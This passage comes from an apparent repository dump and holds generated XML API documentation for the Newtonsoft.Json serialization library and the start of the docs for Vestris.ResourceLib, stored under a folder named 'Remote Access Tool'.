collection of <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> objects.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonPropertyCollection\"/> class.\n            </summary>\n            <param name=\"type\">The type.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.GetKeyForItem(Newtonsoft.Json.Serialization.JsonProperty)\">\n            <summary>\n            When implemented in a derived class, extracts the key from the specified element.\n            </summary>\n            <param name=\"item\">The element from which to extract the key.</param>\n            <returns>The key for the specified element.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.AddProperty(Newtonsoft.Json.Serialization.JsonProperty)\">\n            <summary>\n            Adds a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> object.\n            </summary>\n            <param name=\"property\">The property to add to the collection.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.GetClosestMatchProperty(System.String)\">\n            <summary>\n            Gets the closest matching <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> object.\n            First attempts to get an exact case match of <paramref name=\"propertyName\"/> and then\n            a case insensitive match.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>A matching property if found.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.GetProperty(System.String,System.StringComparison)\">\n            <summary>\n            Gets a property by property name.\n            </summary>\n            <param name=\"propertyName\">The name of the property to get.</param>\n            <param name=\"comparisonType\">Type property name string comparison.</param>\n            <returns>A matching property if found.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonStringContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonStringContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonStringContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonTypeReflector.CreateJsonConverterInstance(System.Type,System.Object[])\">\n            <summary>\n            Lookup and create an instance of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type described by the argument.\n            </summary>\n            <param name=\"converterType\">The <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type to create.</param>\n            <param name=\"args\">Optional arguments to pass to an initializing constructor of the JsonConverter.\n            If <c>null</c>, the default constructor is used.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\">\n            <summary>\n            A kebab case naming strategy.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.#ctor(System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.#ctor(System.Boolean,System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n            <param name=\"processExtensionDataNames\">\n            A flag indicating whether extension data names should be processed.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.MemoryTraceWriter\">\n            <summary>\n            Represents a trace writer that writes to memory. When the trace message limit is\n            reached then old trace messages will be removed as new messages are added.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.MemoryTraceWriter.LevelFilter\">\n            <summary>\n            Gets the <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            For example a filter level of <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/> will exclude <see cref=\"F:System.Diagnostics.TraceLevel.Verbose\"/> messages and include <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/>,\n            <see cref=\"F:System.Diagnostics.TraceLevel.Warning\"/> and <see cref=\"F:System.Diagnostics.TraceLevel.Error\"/> messages.\n            </summary>\n            <value>\n            The <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.MemoryTraceWriter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.Trace(System.Diagnostics.TraceLevel,System.String,System.Exception)\">\n            <summary>\n            Writes the specified trace level, message and optional exception.\n            </summary>\n            <param name=\"level\">The <see cref=\"T:System.Diagnostics.TraceLevel\"/> at which to write this trace.</param>\n            <param name=\"message\">The trace message.</param>\n            <param name=\"ex\">The trace exception. This parameter is optional.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.GetTraceMessages\">\n            <summary>\n            Returns an enumeration of the most recent trace messages.\n            </summary>\n            <returns>An enumeration of the most recent trace messages.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> of the most recent trace messages.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.String\"/> of the most recent trace messages.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.NamingStrategy\">\n            <summary>\n            A base class for resolving how property names and dictionary keys are serialized.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.NamingStrategy.ProcessDictionaryKeys\">\n            <summary>\n            A flag indicating whether dictionary keys should be processed.\n            Defaults to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.NamingStrategy.ProcessExtensionDataNames\">\n            <summary>\n            A flag indicating whether extension data names should be processed.\n            Defaults to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.NamingStrategy.OverrideSpecifiedNames\">\n            <summary>\n            A flag indicating whether explicitly specified property names,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>, should be processed.\n            Defaults to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetPropertyName(System.String,System.Boolean)\">\n            <summary>\n            Gets the serialized name for a given property name.\n            </summary>\n            <param name=\"name\">The initial property name.</param>\n            <param name=\"hasSpecifiedName\">A flag indicating whether the property has had a name explicitly specified.</param>\n            <returns>The serialized property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetExtensionDataName(System.String)\">\n            <summary>\n            Gets the serialized name for a given extension data name.\n            </summary>\n            <param name=\"name\">The initial extension data name.</param>\n            <returns>The serialized extension data name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetDictionaryKey(System.String)\">\n            <summary>\n            Gets the serialized key for a given dictionary key.\n            </summary>\n            <param name=\"key\">The initial dictionary key.</param>\n            <returns>The serialized dictionary key.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetHashCode\">\n            <summary>\n            Hash code calculation\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.Equals(System.Object)\">\n            <summary>\n            Object equality implementation\n            </summary>\n            <param name=\"obj\"></param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.Equals(Newtonsoft.Json.Serialization.NamingStrategy)\">\n            <summary>\n            Compare to another NamingStrategy\n            </summary>\n            <param name=\"other\"></param>\n            <returns></returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ObjectConstructor`1\">\n            <summary>\n            Represents a method that constructs an object.\n            </summary>\n            <typeparam name=\"T\">The object type to create.</typeparam>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.OnErrorAttribute\">\n            <summary>\n            When applied to a method, specifies that the method is called when an error occurs serializing an object.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ReflectionAttributeProvider\">\n            <summary>\n            Provides methods to get attributes from a <see cref=\"T:System.Type\"/>, <see cref=\"T:System.Reflection.MemberInfo\"/>, <see cref=\"T:System.Reflection.ParameterInfo\"/> or <see cref=\"T:System.Reflection.Assembly\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionAttributeProvider.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ReflectionAttributeProvider\"/> class.\n            </summary>\n            <param name=\"attributeProvider\">The instance to get attributes for. This parameter should be a <see cref=\"T:System.Type\"/>, <see cref=\"T:System.Reflection.MemberInfo\"/>, <see cref=\"T:System.Reflection.ParameterInfo\"/> or <see cref=\"T:System.Reflection.Assembly\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionAttributeProvider.GetAttributes(System.Boolean)\">\n            <summary>\n            Returns a collection of all of the attributes, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionAttributeProvider.GetAttributes(System.Type,System.Boolean)\">\n            <summary>\n            Returns a collection of attributes, identified by type, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"attributeType\">The type of the attributes.</param>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ReflectionValueProvider\">\n            <summary>\n            Get and set values for a <see cref=\"T:System.Reflection.MemberInfo\"/> using reflection.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionValueProvider.#ctor(System.Reflection.MemberInfo)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ReflectionValueProvider\"/> class.\n            </summary>\n            <param name=\"memberInfo\">The member info.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionValueProvider.SetValue(System.Object,System.Object)\">\n            <summary>\n            Sets the value.\n            </summary>\n            <param name=\"target\">The target to set the value on.</param>\n            <param name=\"value\">The value to set on the target.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionValueProvider.GetValue(System.Object)\">\n            <summary>\n            Gets the value.\n            </summary>\n            <param name=\"target\">The target to get the value from.</param>\n            <returns>The value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\">\n            <summary>\n            A snake case naming strategy.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.#ctor(System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.#ctor(System.Boolean,System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n            <param name=\"processExtensionDataNames\">\n            A flag indicating whether extension data names should be processed.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.StringEscapeHandling\">\n            <summary>\n            Specifies how strings are escaped when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.StringEscapeHandling.Default\">\n            <summary>\n            Only control characters (e.g. newline) are escaped.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.StringEscapeHandling.EscapeNonAscii\">\n            <summary>\n            All non-ASCII and control characters (e.g. newline) are escaped.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.StringEscapeHandling.EscapeHtml\">\n            <summary>\n            HTML (&lt;, &gt;, &amp;, &apos;, &quot;) and control characters (e.g. newline) are escaped.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.TypeNameAssemblyFormatHandling\">\n            <summary>\n            Indicates the method that will be used during deserialization for locating and loading assemblies.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Simple\">\n            <summary>\n            In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the <c>LoadWithPartialName</c> method of the <see cref=\"T:System.Reflection.Assembly\"/> class is used to load the assembly.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Full\">\n            <summary>\n            In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The <c>Load</c> method of the <see cref=\"T:System.Reflection.Assembly\"/> class is used to load the assembly.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.TypeNameHandling\">\n            <summary>\n            Specifies type name handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <remarks>\n            <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> should be used with caution when your application deserializes JSON from an external source.\n            Incoming types should be validated with a custom <see cref=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\"/>\n            when deserializing with a value other than <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\"/>.\n            </remarks>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.None\">\n            <summary>\n            Do not include the .NET type name when serializing types.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.Objects\">\n            <summary>\n            Include the .NET type name when serializing into a JSON object structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.Arrays\">\n            <summary>\n            Include the .NET type name when serializing into a JSON array structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.All\">\n            <summary>\n            Always include the .NET type name when serializing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.Auto\">\n            <summary>\n            Include the .NET type name when the type of the object being serialized is not the same as its declared type.\n            Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON\n            you must specify a root type object with <see cref=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,System.Type,Newtonsoft.Json.JsonSerializerSettings)\"/>\n            or <see cref=\"M:Newtonsoft.Json.JsonSerializer.Serialize(Newtonsoft.Json.JsonWriter,System.Object,System.Type)\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.CollectionUtils.IsNullOrEmpty``1(System.Collections.Generic.ICollection{``0})\">\n            <summary>\n            Determines whether the collection is <c>null</c> or empty.\n            </summary>\n            <param name=\"collection\">The collection.</param>\n            <returns>\n            \t<c>true</c> if the collection is <c>null</c> or empty; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.CollectionUtils.AddRange``1(System.Collections.Generic.IList{``0},System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Adds the elements of the specified collection to the specified generic <see cref=\"T:System.Collections.Generic.IList`1\"/>.\n            </summary>\n            <param name=\"initial\">The list to add to.</param>\n            <param name=\"collection\">The collection of elements to add.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ConvertUtils.ConvertOrCast(System.Object,System.Globalization.CultureInfo,System.Type)\">\n            <summary>\n            Converts the value to the specified type. If the value is unable to be converted, the\n            value is checked whether it assignable to the specified type.\n            </summary>\n            <param name=\"initialValue\">The value to convert.</param>\n            <param name=\"culture\">The culture to use when converting.</param>\n            <param name=\"targetType\">The type to convert or cast the value to.</param>\n            <returns>\n            The converted type. If conversion was unsuccessful, the initial value\n            is returned if assignable to the target type.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.DynamicProxyMetaObject`1.CallMethodWithResult(System.String,System.Dynamic.DynamicMetaObjectBinder,System.Collections.Generic.IEnumerable{System.Linq.Expressions.Expression},Newtonsoft.Json.Utilities.DynamicProxyMetaObject{`0}.Fallback,Newtonsoft.Json.Utilities.DynamicProxyMetaObject{`0}.Fallback)\">\n            <summary>\n            Helper method for generating a MetaObject which calls a\n            specific method on Dynamic that returns a result\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.DynamicProxyMetaObject`1.CallMethodReturnLast(System.String,System.Dynamic.DynamicMetaObjectBinder,System.Collections.Generic.IEnumerable{System.Linq.Expressions.Expression},Newtonsoft.Json.Utilities.DynamicProxyMetaObject{`0}.Fallback)\">\n            <summary>\n            Helper method for generating a MetaObject which calls a\n            specific method on Dynamic, but uses one of the arguments for\n            the result.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.DynamicProxyMetaObject`1.CallMethodNoResult(System.String,System.Dynamic.DynamicMetaObjectBinder,System.Linq.Expressions.Expression[],Newtonsoft.Json.Utilities.DynamicProxyMetaObject{`0}.Fallback)\">\n            <summary>\n            Helper method for generating a MetaObject which calls a\n            specific method on Dynamic, but uses one of the arguments for\n            the result.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.DynamicProxyMetaObject`1.GetRestrictions\">\n            <summary>\n            Returns a Restrictions object which includes our current restrictions merged\n            with a restriction limiting our type\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Utilities.ImmutableCollectionsUtils\">\n            <summary>\n            Helper class for serializing immutable collections.\n            Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed\n            https://github.com/JamesNK/Newtonsoft.Json/issues/652\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.GetCollectionItemType(System.Type)\">\n            <summary>\n            Gets the type of the typed collection's items.\n            </summary>\n            <param name=\"type\">The type.</param>\n            <returns>The type of the typed collection's items.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.GetMemberUnderlyingType(System.Reflection.MemberInfo)\">\n            <summary>\n            Gets the member's underlying type.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <returns>The underlying type of the member.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.IsIndexedProperty(System.Reflection.PropertyInfo)\">\n            <summary>\n            Determines whether the property is an indexed property.\n            </summary>\n            <param name=\"property\">The property.</param>\n            <returns>\n            \t<c>true</c> if the property is an indexed property; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.GetMemberValue(System.Reflection.MemberInfo,System.Object)\">\n            <summary>\n            Gets the member's value on the object.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <param name=\"target\">The target object.</param>\n            <returns>The member's value on the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.SetMemberValue(System.Reflection.MemberInfo,System.Object,System.Object)\">\n            <summary>\n            Sets the member's value on the target object.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <param name=\"target\">The target.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.CanReadMemberValue(System.Reflection.MemberInfo,System.Boolean)\">\n            <summary>\n            Determines whether the specified MemberInfo can be read.\n            </summary>\n            <param name=\"member\">The MemberInfo to determine whether can be read.</param>\n            /// <param name=\"nonPublic\">if set to <c>true</c> then allow the member to be gotten non-publicly.</param>\n            <returns>\n            \t<c>true</c> if the specified MemberInfo can be read; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.CanSetMemberValue(System.Reflection.MemberInfo,System.Boolean,System.Boolean)\">\n            <summary>\n            Determines whether the specified MemberInfo can be set.\n            </summary>\n            <param name=\"member\">The MemberInfo to determine whether can be set.</param>\n            <param name=\"nonPublic\">if set to <c>true</c> then allow the member to be set non-publicly.</param>\n            <param name=\"canSetReadOnly\">if set to <c>true</c> then allow the member to be set if read-only.</param>\n            <returns>\n            \t<c>true</c> if the specified MemberInfo can be set; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Utilities.StringBuffer\">\n            <summary>\n            Builds a string. Unlike <see cref=\"T:System.Text.StringBuilder\"/> this class lets you reuse its internal buffer.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.StringUtils.IsWhiteSpace(System.String)\">\n            <summary>\n            Determines whether the string is all white space. Empty string will return <c>false</c>.\n            </summary>\n            <param name=\"s\">The string to test whether it is all white space.</param>\n            <returns>\n            \t<c>true</c> if the string is all white space; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.WriteState\">\n            <summary>\n            Specifies the state of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Error\">\n            <summary>\n            An exception has been thrown, which has left the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> in an invalid state.\n            You may call the <see cref=\"M:Newtonsoft.Json.JsonWriter.Close\"/> method to put the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> in the <c>Closed</c> state.\n            Any other <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> method calls result in an <see cref=\"T:System.InvalidOperationException\"/> being thrown.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Closed\">\n            <summary>\n            The <see cref=\"M:Newtonsoft.Json.JsonWriter.Close\"/> method has been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Object\">\n            <summary>\n            An object is being written. \n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Array\">\n            <summary>\n            An array is being written.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Constructor\">\n            <summary>\n            A constructor is being written.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Property\">\n            <summary>\n            A property is being written.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Start\">\n            <summary>\n            A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> write method has not been called.\n            </summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.NotNullAttribute\">\n            <summary>Specifies that an output will not be null even if the corresponding type allows it.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute\">\n            <summary>Specifies that when a method returns <see cref=\"P:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute.ReturnValue\"/>, the parameter will not be null even if the corresponding type allows it.</summary>\n        </member>\n        <member name=\"M:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute.#ctor(System.Boolean)\">\n            <summary>Initializes the attribute with the specified return value condition.</summary>\n            <param name=\"returnValue\">\n            The return value condition. If the method returns this value, the associated parameter will not be null.\n            </param>\n        </member>\n        <member name=\"P:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute.ReturnValue\">\n            <summary>Gets the return value condition.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.MaybeNullAttribute\">\n            <summary>Specifies that an output may be null even if the corresponding type disallows it.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.AllowNullAttribute\">\n            <summary>Specifies that null is allowed as an input even if the corresponding type disallows it.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute\">\n            <summary>\n            Specifies that the method will not return if the associated Boolean parameter is passed the specified value.\n            </summary>\n        </member>\n        <member name=\"M:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute\"/> class.\n            </summary>\n            <param name=\"parameterValue\">\n            The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to\n            the associated parameter matches this value.\n            </param>\n        </member>\n        <member name=\"P:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute.ParameterValue\">\n            <summary>Gets the condition parameter value.</summary>\n        </member>\n    </members>\n</doc>\n"
  },
  {
    "path": "Remote Access Tool/packages/Vestris.ResourceLib.2.1.0/lib/net20/Vestris.ResourceLib.xml",
    "content": "<?xml version=\"1.0\"?>\n<doc>\n    <assembly>\n        <name>Vestris.ResourceLib</name>\n    </assembly>\n    <members>\n        <member name=\"T:Vestris.ResourceLib.Accelerator\">\n            <summary>\n            Standard accelerator.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Accelerator.Read(System.IntPtr)\">\n            <summary>\n            Read the accelerator.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Accelerator.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write accelerator to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Accelerator.Key\">\n            <summary>\n            String representation of the accelerator key.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Accelerator.Command\">\n            <summary>\n            An unsigned integer value that identifies the accelerator.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Accelerator.ToString\">\n            <summary>\n            String representation of the accelerator.\n            </summary>\n            <returns>String representation of the accelerator.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.AcceleratorResource\">\n            <summary>\n            An accelerator, RT_ACCELERATOR resource.\n            An accelerator provides the user with access to an application's command set.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.AcceleratorResource.Accelerators\">\n            <summary>\n            Accelerator keys.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.AcceleratorResource.#ctor\">\n            <summary>\n            A new accelerator resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.AcceleratorResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing accelerator resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.AcceleratorResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the accelerators table.\n            </summary>\n            <param 